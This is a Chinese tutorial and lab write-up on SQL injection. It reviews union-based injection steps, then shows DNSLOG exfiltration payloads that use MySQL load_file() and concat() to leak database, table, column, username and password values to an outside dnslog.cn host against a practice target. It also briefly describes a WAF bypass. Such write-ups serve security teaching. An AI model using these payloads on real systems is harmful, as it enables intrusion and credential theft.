DNSLOG注入
知识梳理
- SQL注入原理:用户输入的数据可以被拼接到原有代码执行
- SQL注入基本流程:
- (1). 判断注入点,例:
数字型:id=1 and 1=1
页面正常id=1 and 1=2
页面不正常;
字符型:单双引号、括号闭合,观察页面是否正常;
使用sleep()观察页面是否存在延迟; - (2)猜解字段数,例:
and 1=2 order by 1,2,3
通过观察页面是否正常来确定字段数 - (3)查看显错点
and 1=2 union select 1,2,3
通过发现显错位置可以知道在哪里输出想要的信息 - (4)查询库名、表名、字段名、字段内容
可以通过查询系统自带库information_schema来获取想要的内容。
-查询库名union select 1,2,database()
-查询表名union select 1,2,table_name from information_schema.tables where table_schema = database()
-查询字段名union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
-查询字段内容union select 1,column1,column2 from table_name limit 0,1
group_concat可以将多行数据整合到一行输出union select 1,2,group_concat(flag) from TABLE_NAME
- DNS-log注入原理
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息;
推荐平台:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
当然你可以根据开源源码自己搭建dnslog服务器,这里贴上BugScan团队开源源码
https://github.com/BugScanTeam/DNSLog
靶场演示
利用场景:
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com
这样的URL发起请求。
PS:DNSLOG注入需要有两个条件,1.SQL服务器能连接网络;2.开启了LOAD_FILE() 读取文件的函数
靶场地址
地址http://59.63.200.79:8014/index3.php
确认注入点
尝试使用and 1=1
测试,发现waf
根据apache解析特性,他遇到了认不到或者是没有的就会往前解析,尝试绕过waf
成功绕过,页面发生延迟,存在注入点
查询数据库名
通过http://www.dnslog.cn平台随记获取一个三级域名rmqdup.dnslog.cn
利用and (select load_file(concat('\\\\',(select database()),'.rmqdup.dnslog.cn\\yoyo')))
PS:这里使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据);对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。
得到库名mangzhu
查询表名
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.9cfoby.dnslog.cn\\yoyo')))
发现存在两个表admin和news(中间又重新申请域名不要在意细节)
查询字段名
and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
admin表内存在三个字段,id/username/password
查询字段内容
and (select load_file(concat('\\\\',(select username from admin limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
and (select load_file(concat('\\\\',(select password from admin limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
得到flag:1flag1good1
- 点赞
- 收藏
- 关注作者
评论(0)